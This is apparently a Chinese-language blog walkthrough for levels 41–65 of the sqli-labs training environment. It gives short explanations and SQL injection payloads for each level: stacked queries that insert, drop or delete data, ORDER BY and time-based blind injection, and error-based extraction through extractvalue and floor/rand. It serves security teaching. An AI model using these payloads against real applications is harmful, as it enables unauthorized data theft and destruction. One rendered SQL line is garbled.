sqli-labs 41——65关攻略

Less-41 基于错误的POST型单引号字符型注入

与之前讲的Less-40的区别:

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql="SELECT * FROM users WHERE id= sql="SELECTFROMusersWHEREid=id LIMIT 0,1";

当然,和Less-40一样,都是盲注,不会显示错误信息,不过对我们没差,构建payload:

?id=1;insert into users(id,username,password) values(15,'jack','jack')%23  

sqli-labs 41——65关攻略_第1张图片

Less-42

分析源码可以知道:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
$password = $_POST["login_password"]; 

password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:

a';create table jack like users#  

sqli-labs 41——65关攻略_第2张图片
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

Less-43

与Less-42的区别在于:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";  

payload:

username:admin  
password:a');drop table jack#  

Less-44

本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload:

username:admin  
password:a';insert into users(id,username,password) values('15','jack','jack')# 

Less-45

与Less-43关的区别在于并没有报错信息,也就是基于盲注,payload:

username:admin  
password:a');delete from users where id=15#  

Less-46

这里涉及到order by注入的相关知识,sql语句为:

$sql = "SELECT * FROM users ORDER BY $id";  

尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。

我们可利用order by后的一些参数进行注入。首先,
(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

?sort=right(version(),1)  

没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
例如:

?sort=1 and if(1=1, sleep(1), null):
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

Less - 47 ORDER BY 从句 - 基于错误-单引号

与上一关的区别在于:

$sql = "SELECT * FROM users ORDER BY '$id'";  

我们只能使用and来进行报错和延时注入。下面给出几个payload示例。
① and 相结合的方式
②可以利用报错的方式进行
③延时注入

?sort=1' and if(1=1, sleep(1), null) and '1'='1:
?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1

Less-48

这关与Less-46的区别在于没有报错信息,即盲注,payload:

?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))  

Less-49

这关与Less-47的区别在于没有报错信息,即盲注,payload:

?sort=1' and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+  

Less-50-53

这里我们上述用到的方法依旧是可行的,我们这里就不重复了,

?sort=1;create table jack like users#  
?sort=1 and if(1=1, sleep(1), null):
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

Less-54

直接联合注入,
这一关没什么特别 特别在于查询的次数是每十次重置 只要控制查询次数即可。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+  

Less-55

同Less-54 区别:?id=-1)

Less-56

同Less-54 区别: ?id=-1’)

Less-57

同Less-54 区别: ?id=-1")

Less-58

发现是单引号闭合,但是输出是固定的(没和后台交互),有报错,只能用报错注入就不能使用联合查询注入了。
用之前的floor()和rand()完成,select 1 from (select concat_ws('^',database(),floor(rand(0)*2)x,count(*) from information_schema.tables group by x)y

爆表:

?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+  

爆列:

?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='mygzz18436'),0x7e))--+  

爆数据:

?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(secret_1WUE) from mygzz18436),0x7e))--+ 

Less-59

同Less-58 区别:?id=-1(无闭合)

Less-60

同Less-58 区别:?id=-1")

Less-61

同Less-58 区别:?id=-1’))

Less-62

盲注

?id=1') and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+

Less-63

同Less-62 区别:?id=-1’

Less-64

同Less-62 区别:?id=-1))

Less-65

同Less-62 区别:?id=-1")

你可能感兴趣的:(sqli-labs 41——65关攻略)